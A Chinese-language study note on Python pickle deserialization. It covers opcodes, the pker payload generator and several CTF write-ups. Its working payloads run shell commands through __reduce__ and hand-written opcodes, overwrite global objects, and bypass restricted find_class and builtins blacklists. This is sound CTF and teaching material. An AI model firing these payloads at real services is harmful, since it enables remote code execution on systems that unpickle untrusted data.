pickle反序列化学习

前言

自己学习pickle反序列化整理的笔记(个人向

pickle库

pickle 序列化就是将一个 python 对象变成可以持久化储存的二进制数据,反序列化即为相反的操作,将二进制数据转回 python 对象。

学习基础的pickle opcode(v0)

速查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
# Pickle opcodes.  See pickletools.py for extensive docs.  The listing
# here is in kind-of alphabetical order of 1-character pickle code.
# pickletools groups them by purpose.

MARK = b'(' # push special markobject on stack
STOP = b'.' # every pickle ends with STOP
POP = b'0' # discard topmost stack item
POP_MARK = b'1' # discard stack top through topmost markobject
DUP = b'2' # duplicate top stack item
FLOAT = b'F' # push float object; decimal string argument
INT = b'I' # push integer or bool; decimal string argument
BININT = b'J' # push four-byte signed int
BININT1 = b'K' # push 1-byte unsigned int
LONG = b'L' # push long; decimal string argument
BININT2 = b'M' # push 2-byte unsigned int
NONE = b'N' # push None
PERSID = b'P' # push persistent object; id is taken from string arg
BINPERSID = b'Q' # " " " ; " " " " stack
REDUCE = b'R' # apply callable to argtuple, both on stack
STRING = b'S' # push string; NL-terminated string argument
BINSTRING = b'T' # push string; counted binary string argument
SHORT_BINSTRING= b'U' # " " ; " " " " < 256 bytes
UNICODE = b'V' # push Unicode string; raw-unicode-escaped'd argument
BINUNICODE = b'X' # " " " ; counted UTF-8 string argument
APPEND = b'a' # append stack top to list below it
BUILD = b'b' # call __setstate__ or __dict__.update()
GLOBAL = b'c' # push self.find_class(modname, name); 2 string args
DICT = b'd' # build a dict from stack items
EMPTY_DICT = b'}' # push empty dict
APPENDS = b'e' # extend list on stack by topmost stack slice
GET = b'g' # push item from memo on stack; index is string arg
BINGET = b'h' # " " " " " " ; " " 1-byte arg
INST = b'i' # build & push class instance
LONG_BINGET = b'j' # push item from memo on stack; index is 4-byte arg
LIST = b'l' # build list from topmost stack items
EMPTY_LIST = b']' # push empty list
OBJ = b'o' # build & push class instance
PUT = b'p' # store stack top in memo; index is string arg
BINPUT = b'q' # " " " " " ; " " 1-byte arg
LONG_BINPUT = b'r' # " " " " " ; " " 4-byte arg
SETITEM = b's' # add key+value pair to dict
TUPLE = b't' # build tuple from topmost stack items
EMPTY_TUPLE = b')' # push empty tuple
SETITEMS = b'u' # modify dict by adding topmost key+value pairs
BINFLOAT = b'G' # push float; arg is 8-byte float encoding

TRUE = b'I01\n' # not an opcode; see INT docs in pickletools.py
FALSE = b'I00\n' # not an opcode; see INT docs in pickletools.py

# Protocol 2

PROTO = b'\x80' # identify pickle protocol
NEWOBJ = b'\x81' # build object by applying cls.__new__ to argtuple
EXT1 = b'\x82' # push object from extension registry; 1-byte index
EXT2 = b'\x83' # ditto, but 2-byte index
EXT4 = b'\x84' # ditto, but 4-byte index
TUPLE1 = b'\x85' # build 1-tuple from stack top
TUPLE2 = b'\x86' # build 2-tuple from two topmost stack items
TUPLE3 = b'\x87' # build 3-tuple from three topmost stack items
NEWTRUE = b'\x88' # push True
NEWFALSE = b'\x89' # push False
LONG1 = b'\x8a' # push long from < 256 bytes
LONG4 = b'\x8b' # push really big long

_tuplesize2code = [EMPTY_TUPLE, TUPLE1, TUPLE2, TUPLE3]

# Protocol 3 (Python 3.x)

BINBYTES = b'B' # push bytes; counted binary string argument
SHORT_BINBYTES = b'C' # " " ; " " " " < 256 bytes

# Protocol 4

SHORT_BINUNICODE = b'\x8c' # push short string; UTF-8 length < 256 bytes
BINUNICODE8 = b'\x8d' # push very long string
BINBYTES8 = b'\x8e' # push very long bytes string
EMPTY_SET = b'\x8f' # push empty set on the stack
ADDITEMS = b'\x90' # modify set by adding topmost stack items
FROZENSET = b'\x91' # build frozenset from topmost stack items
NEWOBJ_EX = b'\x92' # like NEWOBJ but work with keyword only arguments
STACK_GLOBAL = b'\x93' # same as GLOBAL but using names on the stacks
MEMOIZE = b'\x94' # store top of the stack in memo
FRAME = b'\x95' # indicate the beginning of a new frame

# Protocol 5

BYTEARRAY8 = b'\x96' # push bytearray
NEXT_BUFFER = b'\x97' # push next out-of-band buffer
READONLY_BUFFER = b'\x98' # make top of stack readonly

换行符代表参数的结束

( 为压入一个 mark object,用以构建 tuple、list 等对象或调用函数时标识数据的开始位置

. 为每个 pickle 序列化数据都必须有的结束标识符

I为压入整数,接收一个整数参数,其后跟一个换行符表示参数结束

1
2
>>> pickle.loads(b'I12345\n.')
12345

0 执行 POP 操作,1 针对 mark object 执行 POP 操作,2 复制栈顶元素,即将栈顶元素再次入栈

d l t 分别从栈中数据创建 dict、list、tuple 对象,以 mark object 标识数据开始,并会将数据和 mark object 从栈中移除

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
data2 = b"""(S'a'
S'b'
S'c'
S'd'
t."""

('a', 'b', 'c', 'd')

0: ( MARK
1: S STRING 'a'
6: S STRING 'b'
11: S STRING 'c'
16: S STRING 'd'
21: t TUPLE (MARK at 0)
22: . STOP
highest protocol among opcodes = 0

} ] ) 分别将空 dict、空 list、空 tuple对象压入栈中,后续可以使用其它方法对这些对象进行操作

s 将栈顶的两个元素以 key-value 的格式放入其后的 dict 中,对应 dict[key]=value 操作

u 为添加多个 key-value,操作与 d 类似

1
2
3
4
5
data3 = b"""}S'a'
S'b'
s."""

{'a': 'b'}

a 将栈顶元素放入其后的 list 中,对应 list.append(value) 操作

e 为添加多个元素,操作与 l 类似

b 用于修改栈中的对象,调用对应类设定的 __setstate__ 函数 (若有) 或默认的 __dict__.update 来修改对象的元素,栈顶为调用 update 的参数,需要一个 dict 参数,后一个元素为对应修改的对象

修改对象属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
class A():
def __init__(self):
self.a = 0

a = A()
data4 = b"""c__main__
a
(S'a'
I1
db."""
pickle.loads(data4)
print(a.a)

1
0: c    GLOBAL     '__main__ a'  
12: (    MARK  
13: S        STRING     'a'  
18: I        INT        1  
21: d        DICT       (MARK at 12)  
22: b    BUILD  
23: .    STOP  
highest protocol among opcodes = 0<br />

c	push self.find_class(modname, name);

这里是用c find到了对象a

然后b调用函数来修改对象中的属性,因为要求传入一个dict所以调用d,上面压入的是两个参数

栈底是要修改的对象a,栈顶是传入的参数,很好理解

c 为最常见的 opcode 之一,其作用可以归结为调用 find_class 方法并将结果入栈,其接收两个参数,第一个参数为 modname,第二个参数为 name

  • p q r 将栈顶的元素放入 memo (一个临时使用的内存) 中,其接收一个参数,为该元素在 memo 中的索引,区别在于索引的类型不同
    g h j 与之相对应,接收一个参数作为索引,在 memo 中寻找该索引对应的元素放入栈顶
    这三对 opcode 一般用于弹出或修改非栈顶元素时,将栈顶元素临时保存

R 为最常被过滤的 opcode,其由特殊方法 reduce 产生,对栈顶的 tuple 进行 callable 操作,第一个元素为一个可调用的对象 (一般通过 c 获取),第二个元素为一个 tuple 储存调用的参数

1
2
3
4
5
6
7
8
9
10
data = b"""ctime
sleep
(I5
tp0
R.
"""

pickle.loads(data)

等效于time.sleep(5)

i o 均用于创建类的实例,也可用于调用方法,其区别在于使用方法和参数传递方法的不同

i 接收两个参数 (在 opcode 后跟参数),分别对应 modnamename,创建实例或调用方法所用参数为使用 i 时栈内内容,以 mark object 标识数据开始

创建对象:

1
2
3
4
5
6
7
8
9
10
11
12
class A():
def __init__(self,a,b):
self.a = a
self.b = b

data1 = b"""(S'aaa'
S'bbb'
i__main__
A
.
"""
print(pickle.loads(data1).a)

调用方法:

1
2
3
4
5
data2 = b"""(S'hello'
S'world'
i__builtin__
print
."""

o 不接收参数,其使用栈上的元素,以 mark object 标识数据开始,第一个元素为类或可调用的对象,之后的元素为其参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
data3 = b"""(c__main__
A
S'aaa'
S'bbb'
o."""
print(pickle.loads(data3).a)

data4 = b"""(c__builtin__
print
S'aaa'
S'bbb'
S'ccc'
o."""
pickle.loads(data4)

反序列化过程

pickle.loads是一个供我们调用的接口。其底层实现是基于_Unpickler类。

image.png

栈是unpickle机最核心的数据结构,所有的数据操作几乎都在栈上。为了应对数据嵌套,栈区分为两个部分:当前栈专注于维护最顶层的信息,而前序栈维护下层的信息。这两个栈区的操作过程将在讨论MASK指令时解释。

存储区可以类比内存,用于存取变量。它是一个数组,以下标为索引。它的每一个单元可以用来存储任何东西,但是说句老实话,大多数情况下我们并不需要这个存储区。

pickle协议是向前兼容的

基础利用方法

执行恶意命令

可以直接调用__reduce__方法

1
2
3
4
5
6
7
8
9
10
import os
import pickle
import pickletools

class Evil():
def __reduce__(self):
return (os.system, ('whoami',))

print(pickle.dumps(Evil()))
pickletools.dis(pickle.dumps(Evil()))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
b'\x80\x04\x95\x1e\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
0: \x80 PROTO 4
2: \x95 FRAME 30
11: \x8c SHORT_BINUNICODE 'nt'
15: \x94 MEMOIZE (as 0)
16: \x8c SHORT_BINUNICODE 'system'
24: \x94 MEMOIZE (as 1)
25: \x93 STACK_GLOBAL
26: \x94 MEMOIZE (as 2)
27: \x8c SHORT_BINUNICODE 'whoami'
35: \x94 MEMOIZE (as 3)
36: \x85 TUPLE1
37: \x94 MEMOIZE (as 4)
38: R REDUCE
39: \x94 MEMOIZE (as 5)
40: . STOP
highest protocol among opcodes = 4

可以看到用到了R

也可以手写opcode

1
2
3
4
5
6
7
8
c__builtin__
getattr
(c__builtin__
__import__
(S'os'
tRS'system'
tR(S'whoami'
tR.

1~2行获取__builtin__.getattr函数

3~6行 通过__builtin__.__import__函数导入os模块

6~7行获取os.system

7~8行调用函数执行命令

若使用pker:link

1
2
3
4
os = GLOBAL('__builtin__', '__import__')('os')
system = GLOBAL('__builtin__', 'getattr')(os, 'system')
system('whoami')
return

也可以用o和i来构造

1
2
3
4
b'''(S'whoami'
ios
system
.'''
1
2
3
4
b'''(cos
system
S'whoami'
o.'''

修改全局变量

通过 c 操作码可以获取到任意对象,b 操作码可以对任意对象进行修改,此时就可以获取全局对象并进行修改

比如:

1
2
3
4
5
secret = {'ADMIN': 0}

def get_flag():
if secret.ADMIN == 1:
print(flag)

如果想要修改secret里的变量,可以调用

__main__.secret.update({'ADMIN': 1})

1
2
3
4
5
6
7
8
c__builtin__
getattr
(c__main__
secret
S'update'
tR((S'ADMIN'
I1
dtR.

pker

1
2
3
4
secret = GLOBAL('__main__', 'secret')
update = GLOBAL('__builtin__', 'getattr')(secret, 'update')
update({'ADMIN': 1})
return

获取其它模块中的隐私数据

绕过过滤方法

官方针对pickle的安全问题的建议是修改find_class(),引入白名单的方式来解决

很多时候都要靠python的内置模块去绕过

pker使用

https://github.com/eddieivan01/pker

自动化生成Pickle opcode

一般来说它可以按照python正常的写法来生成opcode

和普通python不同的地方再:

  • 3个内置的模块生成方式

    1
    2
    3
    GLOBAL('os', 'system')             =>  cos\nsystem\n
    INST('os', 'system', 'ls') => (S'ls'\nios\nsystem\n
    OBJ(GLOBAL('os', 'system'), 'ls') => (cos\nsystem\nS'ls'\no
  • return 可以在函数之外使用

    1
    2
    var = 1
    return var
    1
    2
    3
    return           =>  .
    return var => g_\n.
    return 1 => I1\n.

使用方法和示例

  1. pker中的针对pickle的特殊语法需要重点掌握(后文给出示例)
  2. 此外我们需要注意一点:python中的所有类、模块、包、属性等都是对象,这样便于对各操作进行理解。
  3. pker主要用到GLOBAL、INST、OBJ三种特殊的函数以及一些必要的转换方式,其他的opcode也可以手动使用:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')
输入:module,callable,para

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls')
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

注意:

  1. 由于opcode本身的功能问题,pker肯定也不支持列表索引、字典索引、点号取对象属性作为 左值 ,需要索引时只能先获取相应的函数(如getattrdict.get)才能进行。但是因为存在sub操作符, 作为右值是可以的 。即“查值不行,赋值可以”。
  2. pker解析S时,用单引号包裹字符串。所以pker代码中的双引号会被解析为单引号opcode:

pker:全局变量覆盖

  • 覆盖直接由执行文件引入的secret模块中的namecategory变量:
1
2
3
4
secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'
  • 覆盖引入模块的变量:
1
2
game = GLOBAL('guess_game', 'game')
game.curr_ticket = '123'

接下来会给出一些具体的基本操作的实例。

pker:函数执行

  • 通过b'R'调用:
1
2
3
4
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return
  • 通过b'i'调用:
1
INST('os', 'system', 'whoami')
  • 通过b'c'b'o'调用:
1
OBJ(GLOBAL('os', 'system'), 'whoami')
  • 多参数调用函数
1
2
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])

pker:实例化对象

  • 实例化对象是一种特殊的函数执行
1
2
3
4
5
6
7
8
animal = INST('__main__', 'Animal','1','2')
return animal


# 或者

animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal
  • 其中,python原文件中包含:
1
2
3
4
5
class Animal:

def __init__(self, name, category):
self.name = name
self.category = category
  • 也可以先实例化再赋值:
1
2
3
4
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal

手动辅助

  • 拼接opcode:将第一个pickle流结尾表示结束的.去掉,两者拼接起来即可。
  • 建立普通的类时,可以先pickle.dumps,再拼接至payload。

几道例题

[CISCN2019 华北赛区 Day1 Web2]ikun

reduce

前面的jwt爆破和逻辑漏洞略过

admin.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib


class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

19行pickle.loads

对传入的become参数url解码之后反序列化加载

构造一个恶意类传入

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib
class evil(object):
def __reduce__(self):
cmd = 'cat /flag.txt' # 要执行的命令
s = "__import__('os').popen('{}').read()".format(cmd)
return (eval, (s,)) # reduce函数必须返回元组或字符串

poc = pickle.dumps(evil())
print(urllib.quote(poc)) # 此时,如果 pickle.loads(poc),就会执行命令

SUCTF2019-GuessGame

全局变量覆盖

下载附件源码

因为现在是复现,但是真正比赛的时候拿到这个源码应该怎么处理,要正视这个问题

首先肯定得把它的核心逻辑都详细过一遍

banner中说这是个猜数字游戏,必须每轮都赢

应该是拿client和server交互来拿到flag

game_client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
async def start_client(host, port):
reader, writer = await asyncio.open_connection(host, port)
print(banner)

for _ in range(10):
#猜10次
number = ''
while number == '':
try:
number = input('Input the number you guess\n> ')
number = int(number)
except ValueError:
number = ''
pass
#将number封装到ticket中,序列化ticket对象
ticket = Ticket(number)
ticket = pickle.dumps(ticket)

#先写入长度然后写入数据
writer.write(pack_length(len(ticket)))
writer.write(ticket)


response = await reader.readline()
print(response.decode())

response = await reader.readline()
print(response.decode())
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
class Ticket:
def __init__(self, number):
self.number = number

def __eq__(self, other):
#两个对象比较运算,如果他们都是ticket且number属性一样返回true
if type(self) == type(other) and self.number == other.number:
return True
else:
return False

def is_valid(self):
#要求number属性一定要是int
assert type(self.number) == int
#且number再范围内
if number_range >= self.number >= 0:
return True
else:
return False

server

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
try:
while not game.finished():
length = stdin_read(4)
length, = read_length(length)
#读取长度
ticket = stdin_read(length)
#按照长度读取序列化后的ticket数据
ticket = restricted_loads(ticket)
#反序列化

assert type(ticket) == Ticket
#判断反序列化后的ticket是不是ticket对象
if not ticket.is_valid():
#is_valid判断
print('The number is invalid.')
game.next_game(Ticket(-1))
continue

win = game.next_game(ticket)
if win:
text = "Congratulations, you get the right number!"
else:
text = "Wrong number, better luck next time."
print(text)

if game.is_win():
text = "Game over! You win all the rounds, here is your flag %s" % get_flag()
else:
text = "Game over! You got %d/%d." % (game.win_count, game.round_count)
print(text)

except Exception:
print('Houston, we got a problem.')

看下game类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
class Game:
def __init__(self):
#number是随机整数
number = randint(0, number_range)
#封装到一个ticket对象中,然后初始化round值
self.curr_ticket = Ticket(number)
self.round_count = 0
self.win_count = 0

def next_game(self, ticket):
#一把判断
win = False
if self.curr_ticket == ticket:
#比较两个ticket
self.win_count += 1
win = True

number = randint(0, number_range)
#重新生成随机数
self.curr_ticket = Ticket(number)
self.round_count += 1

return win

def finished(self):
#大于等于10次的时候结束
return self.round_count >= max_round

def is_win(self):
#赢得轮数等于10次的时候结束
return self.win_count == max_round

游戏的逻辑很简单,一共10轮猜数字得都赢才能拿到flag

我想到的思路:

1.控制传过去的数和要比较的数相等,因为game类实例化是在反序列化之前所以有可能可以控制

2.变更游戏获胜条件,这点可以用反序列化变更全局属性达到

3.有没有办法导入其他库直接读取flag

官方wp

1
2
3
4
5
6
7
exp = b'''cguess_game
game
}S"win_count"
I10
sS"round_count"
I9
sbcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\xffsb.'''

1-2行获取到game这个类

3-6行修改属性

7用s输入键值对,c获取到类,b修改属性,栈顶传入ticket对象,因为他服务端要判断是否传入ticket对象

构造出 pickle 代码获得 guess_game.game, 然后修改 game 的 win_count 和 round_count 即可.
注意这里必须手写, 如果是 from guess_game import game, 然后修改再 dumps 这个 game 的话, 是在运行时重新新建一个 Game 对象, 而不是从 guess_game 这个 module 里面获取.

因为他这里限制了只能用它自己的模块,所以只能用字节码来打

思路2

构造恶意类覆盖

RestrictedUnpickler.py 里重写了 find_class,对反序列化的对象位置进行了限制,只允许 guess_game 下的模块,而且不允许含 __ 的内置对象。

那么可以先反序列化一个 guess_game里的game对象,然后再反序列化一个 guess_game.Ticket里的Ticket类,参数 number 随便赋一个值(比如6),然后将 Ticket 赋值给 game的curr_ticket 覆盖服务端随机生成的 Ticket,最后我们再反序列化一次最开始反序列化的 Ticket,参数 number 赋相同值。

将以上反序列化过程,对照 pickle 源代码构造好一条语句,直接循环10次打过去,就能拿到flag。

构造好的 payload:

ticket = b”\x80\x04cguess_game\ngame\nN(S’curr_ticket’\ncguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sbd\x86bcguess_game.Ticket\nTicket\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00numberq\x03K\x06sb.”

pker

如果用pker里官方带的示例构造极为简单:

1
2
3
4
5
6
7
Game = GLOBAL('guess_game.Game', 'Game')
game = GLOBAL('guess_game', 'game')
game.round_count = 10
game.win_count = 10
ticket = INST('guess_game.Ticket', 'Ticket', 6)
return ticket

1
2
3
4
5
ticket = INST('guess_game.Ticket', 'Ticket', 0)
game = GLOBAL('guess_game', 'game')
game.curr_ticket = ticket
return ticket

1
2
3
4
5
6
7
ticket=INST('guess_game.Ticket','Ticket',(1))
game=GLOBAL('guess_game','game')
game.win_count=9
game.round_count=9
game.curr_ticket=ticket

return ticket

[高校战“疫”]webtmp

变量覆盖

过滤了R,限制模块为__main__

部分源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name}, category={self.category})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
print(name)
if module == '__main__':
#限制模块
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


@app.route('/', methods=['GET', 'POST'])
def index():
if request.args.get('source'):
return Response(read(__file__), mimetype='text/plain')

if request.method == 'POST':
try:
pickle_data = request.form.get('data')
if b'R' in base64.b64decode(pickle_data):
#过滤R
return 'No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.'
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
return 'Are you sure that is an animal???'
correct = (result == Animal(secret.name, secret.category))
#判断
return "result={}\npickle_data={}\ngiveflag={}\n".format(result, pickle_data, correct)
except Exception as e:
print(repr(e))
return "Something wrong"

覆盖main下的secret,覆盖原来import的secret

1
2
3
4
5
6
7
'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db.'''

c先引入__main__.sercret,在栈中第一个元素位置.

(压入mark.

S依次压入name,1,category,2

d组成字典{‘name’:’1’,category’:2},且mark,name,1,category,2出栈,字典入栈.

b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 . 在这里就是操作secret.name和secret.category.(栈上第一个元素出栈

构造Animal对象:

1
2
3
4
5
6
'''(c__main__
Animal
S"1"
S"2"
o.
'''

然后两个拼接即可. 因为要将Animal对象返回,所以赋值留下的一个元素需要pop掉(0)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import base64
data=b'''c__main__
secret
(S'name'
S"1"
S"category"
S"2"
db0(c__main__
Animal
S"1"
S"2"
o.
'''
print(base64.b64encode(data))
#b'Y19fbWFpbl9fCnNlY3JldAooUyduYW1lJwpTIjEiClMiY2F0ZWdvcnkiClMiMiIKZGIwKGNfX21haW5fXwpBbmltYWwKUyIxIgpTIjIiCm8uCg=='

Code Breaking picklecode

题目将pickle能够引入的模块限定为builtins,并且设置了子模块黑名单:{'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'},于是我们能够直接利用的模块有:

  • builtins模块中,黑名单外的子模块。
  • 已经import的模块:iobuiltins(需要先利用builtins模块中的函数)

黑名单中没有getattr,所以可以通过getattr获取iobuiltins的子模块以及子模块的子模块:),而builtins里有eval、exec等危险函数,即使在黑名单中,也可以通过getattr获得。pickle不能直接获取builtins一级模块,但可以通过builtins.globals()获得builtins;这样就可以执行任意代码了。payload为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
b'''cbuiltins
getattr
p0
(cbuiltins
dict
S'get'
tRp1
cbuiltins
globals
)Rp2
00g1
(g2
S'builtins'
tRp3
0g0
(g3
S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

pker写的话就很简单:

1
2
3
4
5
6
7
8
getattr=GLOBAL('builtins','getattr')
dict=GLOBAL('builtins','dict')
dict_get=getattr(dict,'get')
glo_dic=GLOBAL('builtins','globals')()
builtins=dict_get(glo_dic,'builtins')
eval=getattr(builtins,'eval')
eval('print("123")')
return

拿到builtins里的方法然后命令执行

参考

https://x5tar.com/posts/python-pickle-unserialize

https://zhuanlan.zhihu.com/p/89132768

https://xz.aliyun.com/t/7436